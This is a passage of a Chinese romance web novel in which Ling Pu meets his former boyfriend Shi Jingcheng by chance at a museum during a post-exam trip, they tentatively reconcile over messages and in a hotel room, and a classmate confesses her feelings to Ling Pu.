乔玥给他俩发来了攻略,做得很细致,确实前段路线是重合的,约好一同出发。 除此之外,也有别人表示在线路里可以见面,程益添忙着社交。 忽然嘟哝:“靠,这人赞我干什么?” “谁?”凌蒲换了衣服,随口问。 程益添欲言又止:“能说不?” “?说啊。” 于是程益添跳下凳子过来,转过手机,凌蒲看到了“时璟承“的点赞。 熟悉的名字陌生的头像,即使点赞也透着点冷淡。 “哦。”凌蒲点头,“他还赞你。” 凌蒲也爱发朋友圈,时璟承就没赞过他。 也是,两人关系都过去式了,没必要再维持点赞之交,不过换作凌蒲这种会给每个人朋友圈点赞的,如果时璟承发朋友圈说不准会赞。 “怎么又没了,手滑了吧这是?”程益添刷了刷,奇道。 * 到了出发日,两人背着书包,阳光明媚,心情愉快。 乔玥一身轻简打扮,和他们会和。 毕竟同年龄段还曾经是同学,能聊到一块儿。 “我们到那先吃特色美食,好好休息下,第二天去市博物馆。可以不,乔玥?”程益添照着攻略问道。 “我都行啊,就是高考完想出来转转。” 乔玥笑道。 她在学校就是数一数二漂亮,现在更是青春靓丽,一路吸引不少目光。 而凌蒲头发较之前稍短了些,一身宽松舒适的运动类型短袖长裤,也特帅。 反正在程益添眼里觉得他俩登对,而且乔玥一直暗恋着,这凌蒲简直像块木头。 想着想着,决定为了好兄弟的幸福大义凌然,刻意制造点单独相处机会。 方式就是神出鬼没,走着走着忽然加速,留那两人并排。 眼看凌蒲完全没察觉到他的良苦用心,于是在第二天博物馆时,程益添咬咬牙,一番七拐八绕后,果断地消失了。 留下乔玥和凌蒲两人,在馆里参观,光是同框就和对年轻小情侣似的。 程益添在暗处满意观察,一转身,忽然看到远方角落里隐约一个眼熟的身影。 实在是人群中一眼就能看到,除了身高挺拔外,即使带着帽子和口罩,也掩盖不住那种出众气质,让人看一眼就忘不了的独一无二的矜贵气质,仿佛是来谈合作的。 程益添跟着家里人参加不少饭局,正琢磨着是哪位,再一抬头,发现人已经不见了。 转过身,连乔玥和凌蒲都找不到了。 “那边是很出名的画,网上很火,我想去看看。” 在一个转弯口,乔玥和凌蒲说。 “好。”凌蒲点点头,“你去吧,我到这边‘玉堂佳器’馆看看。一会儿出口找益添汇合,他估计也是到别的馆去了。” 他一直对能摆在桌面上的各种摆件很感兴趣,自然而然地被这种精致玩意的展览吸引。 从玻璃柜里的青花瓷瓶和红瓷瓶,到各种嵌着宝石和有精美雕花的工艺品,都闪闪发光。 这个馆没有旁边火,并没有太多人,凌蒲挨个驻足欣赏,细究其中朝代来历来历。 玻璃上倒映他专注的侧影,身上背个书包,狮子挂坠轻轻晃动,一看就是爱参观博物馆的好学生。 “那边太挤,我先来你这看看。”不一会儿,乔玥走过来。 凌蒲没多在意,和她讨论几句,直到两人一转弯,凌蒲撞在一人身上。 比“对不起”先脱口而出的,是种特熟悉的,很淡很淡的香。 淡得只有挨上去才能闻到,这个肃穆而又拥挤的博物馆里连气味都是嘈杂的,比如游客身上的香水或是风油精,还有场馆里类似檀香的味道。 但在一瞬间,凌蒲很精准地捕捉到那种熟悉里透着心安的感觉,是种高级的植物冷调香,不是香水,而是平常出入沾染的。 于是他没有本能地说对不起,而是立刻抬起头,接着愣在原地。 对方比他高上一些,戴了口罩和帽子,不过仅露出的一小片眉目足够凌蒲辨认他的身份。 感觉更帅了。可能是没穿校服的缘故,气质张扬了一点点,压迫感更足,让人没来由得心虚。但奇怪的是他感到对方有点疲倦,似乎昨晚没有充足睡眠。 他没有敢认,眼神里依然保持着点茫然,不知作何反应。 那双漆黑的眸子就盯着他,深得有些读不懂。 乔玥匆匆扶了下凌蒲:“没事吧?” 凌蒲看到对面好看的眉头皱了皱,像是被打扰似的,眼睛转向乔玥。 又垂下,转到乔玥和凌蒲接触地那小片面积,即使只碰到了衣服。 乔玥察觉到:“你们认识?” 凌蒲顿了下,几乎本能地,小幅度地摇头。 “?” 第122章 凌蒲没有想到世界会这么小,他把下巴藏到领子里,祈祷时璟承没认出他,如果有个地缝就好了,一定会钻进去。 或者突然拥有那种时间定格,记忆消除,空间瞬移的超能力,还有穿越,博物馆比较适合穿越。 他早已揣摩过时璟承的心理,照着小时候记恨十几年来看,这一次估计恨上加恨,新仇旧恨,得让他消失。 像一抹灰烬,吹一下就消散在空气里。 不过为什么时璟承会出现在这儿,照理说他应该在国外才对,会不会是认错了,要不要再确认一下。 凌蒲小心翼翼抬头,又被对方要杀人般的目光逼退,一秒低头。 英俊的眉目独一无二,就是了。 两人静默的时间太久,旁边乔玥也感到不对劲,又仔细打量了下刚出现的这位,隐约有些熟悉。 她和时璟承其实有过一面之缘,像这样出众的容貌即使遮挡了大半也很难忘记,悄悄问凌蒲:“是不是上次来这的时候,你那个朋友。” 凌蒲更觉得绝望,连乔玥都认出来了,心中最后那点点侥幸被磨灭。在这个时间和地点理应不可能出现的人,就这么近在咫尺。 他曾经也想过些重新遇到的场面,虽然场景不同,但基本至少要西装革履,比较正式那种。 现在着实是措手不及。 正准备随便回答乔玥些什么,就听那人先开口。 “不是。不认识。借过。” 冰冷的几个词汇砸在凌蒲心上,浇了个透心凉。 时璟承语气平淡,就着凌蒲身边擦过。 凌蒲低下头,退开半步。 乔玥看着宽敞得能行车的展馆,不知道为什么非要这样挤过去,而且分明就是上回吃饭时热情招待他们的那位,不会认错。 当时凌蒲和对方的关系特别好,现在的氛围却明显僵硬,猜测可能是产生过矛盾。 可能碍于她在场而不方便问,于是她让开空间:“我去看看人少了点没有。” 等乔玥离开,凌蒲的目光不由自主追随时璟承,他还不知道为什么对方会出现在这里。 正在那挺拔的背影上下打量,这人忽然停步,凌蒲慌忙转头,盯着眼前的瓷盘。 很圆润的瓷盘,上面雕着精美的花纹,是明代的。 “凌蒲,你没话和我说?” 两人距离并不算太远,时璟承在门口叫他名字,并没转身,离踏出去只有一步,仿佛是给凌蒲最后一次机会。 凌蒲愣了愣,确实有不少话可以说,比如问问现在怎么回来了,谈谈过去那些事情。但这些像走迷宫似的乱绕,最后都堵在出口处。 嘴比脑子快,笑了下:“你不是不认识我吗?” 时璟承看他一眼,果断地抬脚离开。 凌蒲靠直觉判断这动作是气得不轻。 心不在焉地绕了一圈,方才还极有吸引力的展品仿佛都黯然失色。 不知何时,程益添和乔玥已经来找他汇合,一起去下一个场馆。程益添就是一个调和剂,在中间说着话,不用担心冷场。 等凌蒲在第三个场馆里逛的时候,仍旧觉得刚才那个瞬间实在不好,像个小疙瘩,会把他的思维纠缠好一阵,于是主动拿出手机。 犹豫几次,给时璟承发消息。 【lp:这么巧,你也来玩?】 【lp:/hello.jpg】 【lp:刚没反应过来,下次有空一起吃饭/龇牙】 凝视屏幕两分钟,指头在撤回周围徘徊,最后咬咬牙,凌蒲锁屏揣到口袋里。 * “我这司机还没到,你怎么就出来了?” 博物馆附近,一个有些纨绔的年轻帅哥正抽着烟,转头看到时璟承,把烟灭了,丢进垃圾桶。 “回学校吧。”时璟承冷着脸道。 “不是哥们,飞十几小时过来,这才半小时不到吧,你要回学校?你老婆呢?” 杜翊谦不敢相信自己耳朵。 他和时璟承这半个学期在同个高中留学,不少课程重合。觉得这人长得帅成绩好,虽然一看吃穿用度和气质举止就非富即贵,但从来不炫耀,总的来说做事挺有格调,值得结交。 杜翊谦自知话挺密,以为时璟承这种偏冷的性格会看不惯。谁知虽然爱理不理,不过似乎并没太反感,挺难得。 印象最深的是他有回看到时璟承消息置顶备注是lp,就多问了句什么意思,自己在那组了几十个词汇,时璟承被他烦够了,直接冷着脸说我老婆。 那是杜翊谦最安静的一次。 同时坚定,这哥们,真是太有格调了。 这次听说对方要回国一趟找那位活在传说里的置顶,杜翊谦二话没说,直接一边让家里私人飞机申请航线一边说顺路,等周末硬是一起出发了。 飞了整整十几小时,还在飞机上写了作业,做了汇报,才终于降落。这段时间是最后补充材料的申请窗口,忙着项目收尾。 还得赶在周一上课前回去,停留时间也就一天左右。 杜翊谦目送着时璟承进去,正准备找个地方潇洒完再抽空见见嫂子。刚点了根烟,没抽到一半,没想到这人就出来说回校。 “怎么了,嫂子呢?” “有女朋友了。” 时璟承表情淡淡,仿佛很平常的陈述。 杜翊谦陷入沉默,没捋过来。 “她不是你老婆吗?嫂子这是出柜了,还是出轨了?” “前老婆。” “哦。” 安静一阵,直到不知谁的手机响了两声,才打破这种诡异的氛围。 杜翊谦拍拍时璟承的肩膀,“没事,来都来了,去附近逛两圈。” 时璟承摸出手机,看了一眼,点头:“行。” * 凌蒲玩到晚上。 也就是吃逛逛吃,像每个大学生那样特种兵旅行。 整个途中没有感到口袋里手机震动,所以一直刻意着没拿出来。 等在酒店大堂,程益添瘫倒在他身上摸出自己手机,按了两下:“靠,没电了。凌蒲拿你的扫下充电宝。” 凌蒲停顿一秒,把手伸进口袋,犹豫,快速取出,丢到程益添手里。 “怎么了,扔地雷似的。” 程益添输密码解锁,面色如常地准备扫充电宝。 “有人给我发消息没?”凌蒲问。 “好像没吧,你看看。”程益添随口道,扫完码之后把手机还给凌蒲。 凌蒲的心微微下沉,早知道就不发那几条消息了,很蠢。 够尴尬一年的。 但接过来才发现,在博物馆时开的勿扰模式竟然没有关,所以没有消息通知。 慌忙点开,上方竟然有个小红点儿。 【时璟承:嗯。】 【时璟承:那个是你女朋友?】 消息发送时间是下午,在他这边发出去之后不久,已经离现在过去了数个小时。按时璟承的耐心,肯定自动在脑海中拉黑了。 凌蒲有些垂头丧气。 简单回了句【lp:不是。】 【lp:已经到酒店了。晚安。】 他们开了两间房,乔玥早早去休息。程益添和凌蒲住一间,聊了会儿天便准备睡觉,毕竟经过一整天也挺累。 等凌蒲在之后洗完澡,吹着吹着头发就懒惰起来,又到不滴水就草草了事,出来发现程益添已经睡着了。 于是关了灯,到自己床上开启小台灯,摸出手机准备设个闹钟睡觉。 但一点开,忽然又坐了起来,仿佛床上有什么弹射装置。 【时璟承:哪个酒店。房间号。】 凌蒲把手机放在前面,盘腿坐着,半干的头发还氤氲点水汽,脸被热水蒸腾久了,一直泛着点红,红到耳朵根。 他几经思考,脸色变幻莫测,内心极其激烈地挣扎。 望望手机,望望外面的夜色,又望望睡得不知天地为何物的程益添。 他十分想把程益添叫醒,给自己出出主意。但又已经知道程益添会说什么,同时他也不希望以后两人的对话过多提及时璟承。 就像过去半年那样最好,仿佛什么都没有发生过,只是做了个只有自己知道的梦。 最后,凌蒲回复。 【lp:我不是那样的人】 【时璟承:】 【时璟承:我也不是。】 【时璟承:凌蒲,你脑回路怎么长的】 凌蒲耳根的红晕更浓烈,整张脸都在发烫。他怎么会那么误解时璟承的意思,好尴尬。 够尴尬两年的。 【lp:[发送位置]】 【lp:1026】 他老老实实地发过去,默默躺在床上。 朝健康积极的方面去想时璟承为什么要他房间号,可能是想查查他有没有说谎,或者不会是要给他快递炸弹或者找人暗鲨。 凌蒲有些担心,自己就这样泄露了隐私信息。 他转脸再看着睡得正香的程益添,愧疚感油然而生。 于是给时璟承补充。 【lp:程益添和我一个房间】 希望能唤起时璟承不要滥杀无辜的良知。 时璟承没理他,过了不知多久,凌蒲朦朦胧胧着即将睡着之际,手机震动一下。 【时璟承:到隔壁来。1027。】 【时璟承:左传。不要转错了。】 凌蒲愣了愣,蜷起手指。 隔壁埋伏了打手还是电棍,都无从而知。这一天还是来了,时璟承的报复。 不过专门等他高考完实施,人还怪好的。 也或许只是恰好遇到了,就想起他这回事,顺手处理一下。 凌蒲有些不安,到底会用什么样的方式。 他知道时璟承肯定很恨自己。 小时候不过是小骗了一下,就让时璟承记了这么多年,要是之前让他甩了或许就扯平了,但偏偏那个精英来找凌蒲,让凌蒲不得不提前和时璟承分手。 绞尽脑汁,只想到了电影里那种毁尸灭迹,或者扔到无人小岛上自生自灭,从此在这个世界上消失。 他知道时璟承不会的,不过肯定至少会冷嘲热讽一番,让凌蒲的尊严受到同等程度的践踏与惩罚。 这是时璟承处事准则,讲求一个礼尚往来。 为了不连累好兄弟程益添,凌蒲独自出发。不忘在家庭群里对钱芷和凌逸飞表达了爱,万一呢。 尽管时璟承叮嘱过,但可能还是怕凌蒲走错,已经站在房门口等着。 等门一开,便冷冷抓住凌蒲的手腕,把他推进隔壁房间。 凌蒲没有发出声音,像一团任由搓圆搓扁的棉花,一部分原因是眼睛从黑暗到光亮还没适应,一部分是打定了让时璟承出气,于是眼一闭心一横,还是时璟承又拉了一把,他才没有摔跤。 倒是倒在时璟承怀里,贴在对方胸前,安静地呼吸着。 把眼睛睁开一点点,打量着这个房间。没有电棍,也没有打手,整个房间是新开的,没有一点痕迹,桌上摆放着矿泉水,每样东西都在原位置上。 凌蒲在时璟承怀里,小心观察。 他刚洗过澡,皮肤手感清爽,仿佛还被热气蒸腾着一般,体温比平常要高,散发着沐浴露的淡香。和半年前并没有太大区别,还是像个饱满软糯的粽子。 时璟承轻轻在凌蒲颈侧嗅了嗅,还是熟悉的,带着浸入味的牛奶沐浴露味,还有皂荚的清香,很干净。 久违的感觉。仿佛在终年冰雪覆盖的荒原上终于找到了一个生着火的小屋,里面还有一个温暖的小床和厚厚的被子。 又抬起手,在凌蒲后脑的头发上抓了把,发现外面蓬松柔软,里面还是湿的,一看就又没把头吹干。 短暂完成两个动作之后,时璟承把凌蒲推开。 “又来这套?投怀送抱?” 冰冷的声音在凌蒲耳边响起,凌蒲仰起头,那双漂亮的眼睛就这么看着时璟承。 似乎又有些水汽,不知是方才洗澡带的,还是刚产生的。 时璟承不去看他的眼睛,硬起语气:“看什么。” “时璟承,我好想你。” 凌蒲忽然说。 在见到的这一瞬间,才意识到以前那些被压下去的想念有多么深,仿佛开了个口似的奔腾而出。 时璟承的睫毛动了下,冷道:“闭嘴。” 他揪住凌蒲的衣服:“你当我是什么。半年前把我甩了,现在又说这,玩我呢?” 语气在起伏:“哦,对。你就是在玩我,所有好看的你都喜欢玩,就我倒霉上了钩。” 凌蒲专注地望着时璟承,压根没有多注意他在说什么。 这张从前只能在手机里偷看的脸重新出现在面前,表情还如此生动。但看着向来冷静的眼角眉梢涌上愤怒和委屈,凌蒲觉得有点疼。 “对不起。”凌蒲说。 像是按下了停止键,时璟承忽然不再继续。 他看到凌蒲在小心翼翼地道歉:“对不起什么?” “我我半年前不该玩弄你。”凌蒲说,“我以为你有很多男女朋友,不会在意我这么一个。” “谁和你说我有很多男女朋友?” 时璟承捏住凌蒲的下巴,对他现在还能说出这种话感到生气,对他道歉的内容感到生气,这些都不是他所想要听到的。 “不是吗?成深野就有很多,你们都该有很多。其实也没有关系,可以理解,”凌蒲宽慰,“我要是有钱之后说不定也” “闭嘴。” 时璟承用拇指按住这张喋喋不休的嘴:“我现在不想听你说话。” “哦。” 凌蒲试图说,但被时璟承按着,并没有完全发出声音,倒像是在时璟承指腹吻了一下。 时璟承被烫了似的,挪开手。 “少来这套。” 凌蒲倒笑了,看着时璟承难得得露出点窘态,探究地朝前探了探:“少爷你玩纯情啊。” 这话戳了下时璟承,他低头;“凌蒲,像你说的那样。这段时间早不知换了多少个了,我只是告诉你,你耍了我,没有那么容易过去。” 凌蒲果然不笑了,表情变得有点苍白。 “我知道,你要怎么样就怎么样吧。”他对时璟承说。 “首先你不许和别人谈恋爱,上大学也不许。你说的那些什么长得好看的都喜欢,甩了我去换其他人,想得美。”时璟承很严肃地在下达 “知道了,我不会谈的,你长得这么帅,要再找到比你帅的很难。” “嗯。” 凌蒲见没下文的惩罚,试探道:“没了?” “想得美。” 时璟承虽这么说,却也没立刻放出什么狠话来。 凌蒲见他沉默着,嘴闲不住:“你怎么回国来了?你那有暑假没?” “周末。暑假有其他课。” “和白林玥有下文不?” “没有。” “哦。”凌蒲继续等着。 “我给你发消息,你随时回我。”时璟承说。 “噢。你之前没给我发,我一般情况下别人消息都秒回的,今天参观博物馆就开了个免打扰,特殊情况。” “那就不许秒回其他人。” “好吧。” “暂时就这两条。”时璟承对凌蒲的态度还算暂时满意,“这段时间忙。过一阵腾出空再处理你。” 时璟承直起身,最后看了眼凌蒲,生硬道:“好好活着,头发吹干。” 颇有压迫感的气息撤去,凌蒲松了口气,才感到后背硌着墙有点痛,大脑开始重新运转。 所以时璟承最后的要求就只是回他的消息吗。 那还挺意外的,时璟承竟然打算给他发消息。 之前每次逢年过节,凌蒲都有想要不要给对方发祝福,但害怕时璟承不想见到他的名字,也怕得不到回复。 凌蒲脑海里乱想着,打算回去。 又被叫住:“以后不许和程益添住一起。” “一间房而已,各睡各的。”凌蒲觉得有点为难,“以前都是这样的,突然开两间房才奇怪。” 时璟承想了一下,程益添确实没什么威胁,不过他就是对那人和凌蒲的密切关系感到不爽。 “今晚别和他住一起。” 凌蒲回过头,望着时璟承。 时璟承也看着他。 不和他住在一起,那在哪住,显然他们都想到了这个问题。随之而来的,还有之前同床共枕的不少回忆,令人纠缠其中。 夏天的夜晚不算平静,蝉鸣和树叶在吵闹,空气很容易黏黏糊糊。 但是两人谁都没有开口。 心里的想法归心里的想法,说出来又是另一回事。 “程益添估计已经睡了。”凌蒲说。 “嗯。” 见时璟承没递台阶,凌蒲转身走:“我再开间吧。” “刚才我入住的时候房间没剩几间。”时璟承不带感情地说。 于是凌蒲停下脚步。 又对视一眼,时璟承腿一翘,命令道:“过来。” 凌蒲走过去,嘟哝:“还说你不是这样的人。” “被子太凉,你暖完再走。” 凌蒲打开被子,钻进去,脸颊贴着枕头,不一会儿就昏昏欲睡。 有时璟承在旁边他觉得很放松,舒展开来,劳累了一天后陷入深度睡眠。他向来睡眠质量特好,今天又久违地运动了整天,再大的动静都醒不了。 不过开始倒是隐约有意识,似乎有什么在碰他的脸,还有吹风机呼呼作响地吵了会儿,头发在被拨弄。然后就不知道了。 第二天早上,凌蒲是被前台的电话叫醒的。 说是一位先生叮嘱过,要在指定时间前打电话。 凌蒲迷糊半天,揉揉眼睛,转头看见另一个床干净整洁的床铺,还在想程益添怎么起的这么早,闭上眼睛,又猛然睁开。 他匆匆下床,在各处寻找了一番,都没有找到时璟承。 旁边床也没有任何睡人的痕迹。 而今早自己这显然占据了整张床,时璟承也没有和他在一张床过。 大概是昨天夜里就走了。 凌蒲站在窗前怔了怔,一转头,发现桌前的凳子被拉开过角度,似乎曾经朝床的方向转过,垃圾桶里扔着喝掉一小半的矿泉水瓶。 他可以肯定,昨晚刚进这个房间时一切整洁,什么都没有动过。 第123章 “凌蒲,你昨晚是不是点外卖来着?记得我睡前好像把安全锁锁上了。” 程益添顶着鸡窝头刷牙,瞥了眼门。 “嗯。” 凌蒲应了一声,正坐在自己床上,望着窗外发呆。 “我就说你昨天吃那么少,晚上肯定得饿。是不是乔玥在,你不好意思吃啊。”程益添絮絮叨叨,“和你说乔玥可就和咱俩一起玩这一个地方,然后各奔东西了啊,你” “程益添。”凌蒲打断,严肃道,“你有前女友吗?” 程益添大惊,牙刷右手换左手:“什么意思啊凌蒲?我有没有你不知道?你这是赤裸裸的嘲讽,没前女友我就不能点评了,没吃过猪肉还没看过猪跑?” 凌蒲道:“我没那意思,你这么敏感干什么,喜欢你的哪里少了,只是你不想谈而已。我就是想问你个问题。” “问。”程益添炸起来的毛仿佛一点点落回去。 “如果你有个前女友,分手的时候你故意伤害了他,然后他当时也很生气,直接出国了。但是又突然从国外回来,和你不小心偶遇了下,你觉得她会怎么做?” “不知道。” “如果你是这个前女友呢?”凌蒲换了种假设。 程益添擅长代入:“哪种伤害。物理伤害还是精神伤害?” “肯定不是物理伤害啊。” “精神伤害更狠好吧!类似于什么从来没爱过之类的,敢这么说我就揍得他找不到北!”程益添重新激动。 凌蒲害怕:“万一人家有苦衷呢。” “滚特么的苦衷,看电视剧就贼烦这种渣男,你再有苦衷也不能说这种话吧,说出来就相当于把之前我的时间和感情全浪费了,没爱过你在这浪费我的时间干什么,耍狗呢!不止是我经历,即使我是路人,也要上去给一拳。” “冷静冷静。” 凌蒲劝了半天,终于把程益添的沸腾热血凉下来。 想了想,匆匆给时璟承发了条消息。 【爱过。】 然后在程益添的催促下,也换好衣服,继续这段旅途。 出了酒店,来到楼下大厅,就见一个小机器人正摆出“lol”的表情,还能根据对话切换,如果光戳屏幕不说话就会变成愤怒的冷酷脸。 趁着程益添去退房,凌蒲就在这里和小机器人说话,在表情要翻页成和颜悦色之际故意戳他,一直维持为愤怒冷酷表情。 “你这样好像一个人。” 机器人呈现出文字:“这可能是我的语音系统采用了自然对话模式,后台搭载了情感交互模块,您可以继续试试我的聊天功能哦。” 凌蒲认真观察,退后两步,判断道:“我说你屏幕上这个表情像我认识的一个人。” “这可是个美妙的巧合呢~我的表情库收录了数百种人类微表情,说不定有您熟悉的款。需要我切换成专业服务模式,还是继续保持这个让您感到熟悉的表情呢?” “继续保持吧。” “好的。” 屏幕画面固定不动,平直的线条乍看没什么表情,但右上方一个小小的愤怒符号,证明是在装酷。 凌蒲低头看了会儿,小声说:“你到底有没有把我忘了。” 屏幕上显示小字“用户载入中” 小圈一直在转,似乎没有查询到相关用户资料,凌蒲盯了一会儿,灰心丧气: “为什么不理我。” 程益添拿着服务台送的一瓶水走过来,就看到凌蒲背着个书包,认真低头研究机器人。 越看越像颗水灵灵小白菜,想着之前竟然放任他去和时璟承那种狡诈之徒相处,程益添为自己的缺席觉得特愧疚。好在现在那人已经出国了,再也拱不了凌蒲。 程益添目光充满慈爱,递过去瓶矿泉水:“坐吧,等会儿乔玥。” 凌蒲拿着手机给机器人拍了张照片,坐在沙发上欣赏照片。 指尖蠢蠢欲动。 昨晚时璟承和他说发消息要回,那是不是意味着两人可以开始互通消息。 对话框已开放! 凌蒲给时璟承发了张机器人的图片。 【lp:好像你。】 “走吧。” 忽然,上方传来乔玥的声音。 凌蒲抬起头,看到今天乔玥打扮得特漂亮,衣服设计感很强,路人频频回头那种漂亮。 “今天去哪儿玩?”凌蒲问程益添,让他拿出两人制定的攻略看看。 程益添表情神秘:“临时加个小环节。” 说罢朝乔玥使了使眼色,两人似乎有什么凌蒲不知道的秘密。 “今天我请客,吃个饭去。”乔玥说, 凌蒲一边划拉手机,一边跟在两人身后。 * “这么迫不及待看手机。” 飞机上,杜翊谦翘着二郎腿,观察时璟承,“嫂子都有女朋友了,您昨晚这是偷情去了吗。” 他一堆话想问,但时璟承一上飞机就戴上眼罩和耳塞睡觉,现在好容易醒了,第一反应还是摸手机。 这让专门跑过来满足好奇心的杜翊谦不满,打算发泄发泄。 “嗯。” 时璟承一个字让杜翊谦瞬间闭嘴。 “?” 时璟承没管旁边人动静,拿起手机。 私人飞机网络流畅,有两条时璟承想看的未读消息。 凌蒲先给他发了个“爱过”,然后又发“好像你”。 虽然乍看莫名其妙,但熟悉凌蒲脑回路的时璟承也看不明白,不过并没有太多意外。 和摩斯电码似的心照不宣,解密也是种乐趣。 他不动声色地思考,想去寻找有没有蛛丝马迹,划拉一下,第一眼看到凌蒲那个小麦色朋友的朋友圈。 这人和凌蒲一样,都有较强烈的分享欲,鸡毛蒜皮点事也发个动态,之前时璟承觉得挺吵,但自从和凌蒲相隔两地之后,会多看两眼。 偶尔有凌蒲入境。 程益添的文案是【准备表白】,配了张不知何意味的烤肉照片。 从餐具来看,是三个人。 这点时璟承知道,旅游的三个分别是程益添,凌蒲,还有一个女生。 时璟承希望表白的两人排列组合里别有凌蒲。大概是三分之一的几率。但时璟承看出来,小麦朋友和凌蒲之间彼此没意思,那个女生对凌蒲有点意思。 但并不意味着小麦朋友对那个女生没意思,因此是二分之一的几率。 时璟承放下手机,看着窗外大片大片的白云,像棉花糖,还像白米粽子。 凌蒲和他说“爱过”。 像是种告别。空中的白米粽子仿佛在和他挥手,然后决绝地穿上自己绿色的粽叶外衣,跳进锅里。 “” 时璟承给凌蒲发消息。 【时璟承:?】 【lp:噢不好意思,刚刚出酒店没网了,图片没发过去,你等一下】 【lp:图片接收失败】 时璟承望着万米高空,拧眉和杜翊谦说:“你家飞机网不好。” “Starlink卫星网络好吧?要不要给你降落到基站去,那里网最好。”杜翊谦懒洋洋,“可能在穿越什么云团,等会儿就好了。” 他探头过来,挺没边界感地想看看,被时璟承避开。 杜翊谦讪讪:“本来防窥膜就看不到。嫂子到底是什么神秘身份,值得你这么金屋藏娇。” 时璟承不管他,独自加载图片,反复打开之后,终于出来模糊的轮廓,从1%加载到100%,跳出来一个机器人的表情。 结合凌蒲那句话“好像你”,知道是什么意思了。 时璟承沉默一会儿,锁上屏。 不过紧接着又跳出来两条。 【lp:吃烤肉了】 【lp:/图片】 【时璟承:好吃吗?】 那边立刻分享【lp:肉还可以,但干料有点咸,这个蘸汁是真不错,配起来总体很好吃。还有这个绵绵冰,你等一下我拍照给你看,乔玥说有话和我说】 时璟承看着前面碎碎念,仿佛凌蒲在他眼面前讲话似的,但最后一句让他凝重了些。 在离他万米远的地方,有个女生正在向凌蒲表白。 很漂亮很优秀,符合凌蒲这种无差别颜控的审美,而且是凌蒲的同学,上回吃饭时就能发现性格也很好。 凌蒲这人性格佛系又软,没准又和当年和他时一样,半推半就地答应了。 等飞机落地,黄花菜都凉了。 他攥着手机,瞄了眼渺小的地面。 地面某处,夏天的风轻轻吹。 “凌蒲,我有话和你说。” 乔玥站在对面,裙摆微微扬起,看起来有些紧张。 “什么话啊。”凌蒲笑道。 笑容依旧很温暖,让乔玥想起高一的那个午后,她的桌子被追求她失败的男生涂满污言秽语,不褪色的笔怎么都擦不掉,眼看进来的同学越来越多,刚睡醒的凌蒲拎着水杯路过,瞥了眼,便顺手和她换了桌子。 搬起来放下去,没发出什么声音,然后睡眼朦胧地笑了下,垫了张英语报纸,趴下继续睡。 有颗虎牙,头发是翘的,没有人会不喜欢他。 “凌蒲。”乔玥轻轻吸一口气,“第一站搭伙儿愉快,下午不跟你们一块了。” “你一个人旅游吗?危险不,要不和我们俩一起吧,把你想去的地方加在我们线路里。” “不方便加,我已经计划好了。” “哦,这样,那你注意安全,记得随时给家里人发定位。或者还是找个朋友陪着你,结伴安全点。” 乔玥看了他一会儿:“你真没看出来我喜欢你?” “啊?” “没事儿。”乔玥没等他反应太久,“暗恋才有意思,感谢你给我高中生活带来的快乐,那段时间真的特别喜欢上学,学习起来也很有动力。不过我要按我的地图继续走了,你要不要一起走?” 夏风继续吹,吹进烤肉店,烟雾散了些,和滋滋作响的烤肉声和在一起。 “——然后呢?”程益添急道,“乔玥她人呢?” 凌蒲吃了口程益添烤好的肉,已经堆成了小山,火候恰到好处,tree tree的。 还想喝口橙汁,被程益添一把夺下来。 凌蒲只得道:“我说我俩一起走,那程益添怎么办?她笑了下,就走了。” “我靠,你有病吧。”程益添无语。 “骂我干什么?”凌蒲莫名。 “前面台词我帮她一起想的,我俩还假设了几种情况,不过着实是没想到你会这么说。”程益添把凌蒲的橙汁喝了,恨铁不成钢。 “那你有病,把我蒙鼓里。” “她问我该不该说,我就帮她想了个双关的委婉好词,你倒更委婉。”程益添摇头,“其实她早就猜到了,就是不说觉得遗憾,画个句号。我也是服了你了,乔玥这么完美,以后有你后悔的。” 程益添惋惜一阵,又自洽道:“不过过去了也不想了。这样也好,我俩一起单着。好兄弟。” 第124章 凌蒲继续和程益添愉快游玩,背着书包领略大好河山。 白天日程排得满,晚上洗漱完毕,凌蒲把自己摆成“大”字撂在床上,才有功夫玩玩手机。 他的消息总是99+,各个朋友群和家族群跳动不停,保持每日联系的好友分享日常,还有七大姑八大姨,在小辈亲戚里也都和凌蒲关系最好。 一一检阅回复。 又晒了今日行踪给钱芷和凌逸飞,两人竖了大拇指,凌逸飞给他发了个红包。 上回偶遇时璟承之后给他俩表达了下爱意,他们误以为凌蒲没钱了,常常主动进行经济支援。 因祸得福。 凌蒲如同处理奏折一般,煞有介事地全部完成,瞄到没什么动静的时璟承头像,安静一会儿,划上去。 捋了把自己的头发,翻个身,抱上枕头,漫无目的地浏览手机,习惯性地给每个人朋友圈点赞评论。 酒店里昏黄的灯光笼罩在他身上,睫毛洒下片小小的阴影,神情懒懒散散。 忽然,在刷朋友圈时手指停住。 朋友圈里竟然出现了时璟承这个名字。 印象里时璟承从来没有发过朋友圈,无论发生再大的事情都是一副波澜不惊的摸样。 但现在,显示在几个小时之前,时璟承发了一张图片作为朋友圈。 并没有配什么文字,只是一张简简单单的照片。 凌蒲犹豫了一下点开,发现是街景,带着明显的异国风采,拍摄的时候似乎是凌晨,街道上并无太多人。隐约几盏霓虹灯在亮,天边蒙蒙亮。 整体建筑风格和他今天游玩的地方区别还挺大,一看就知道两地跨越很远很远。 盯着瞅了会儿,目光集中在图片一角,他认真放大,发现图中后视镜里隐隐有个女孩身影,调了调手机暗度,似乎还有个帅哥,他有点伤心。 于是没有给时璟承点赞评论,默默躺下睡觉。 连静音都忘记开。 在他即将进入甜美梦乡,烤鸡烤鸭烤鹅已经向他招手之际,“嗡嗡”两声,手机在震动。 凌蒲这人情绪稳定,除非在睡觉的时候打扰他。 眉头不由皱起,手在枕边摸索,迷迷糊糊地打开。 【时璟承:/图片】 这回是在私聊对话里。 对方给他拍了张吃饭的照片,烤羊排用锡纸包裹,滋滋冒着细小的热油,肉质看起来很鲜嫩,牛排上浇着酱汁,蔬菜沙拉青翠欲滴,饮料颜色澄澈漂亮,柠檬片和薄荷叶点缀其中。 凌蒲一时分不清时璟承是不是在进行那种深夜艾特好友来看美食烹饪的恶作剧,专挑他的薄弱点。 又发挥福尔摩斯精神看照片,从餐具的反光推测,美女帅哥都在。 【lp:我睡觉了】 【时璟承:?】 【lp:。】 【时璟承:现在一个人?】 “时璟承”撤回一条消息。 凌蒲看了一眼旁边呼呼大睡的程益添,老老实实【lp:不是】 那边久久没有回复,在凌蒲都快再次睡着的时候,才又震了两下——“嗡嗡”。 【时璟承:凌蒲,你又骗我】 【lp:?我骗你什么了】 【时璟承;你答应我的两条,你是骗子。】 凌蒲翻身对着墙,压低声音发语音:“我没有骗你时璟承。你说要做到回你的消息,我都已经很困了还在等的,非常困。” 【时璟承:第一条呢。】 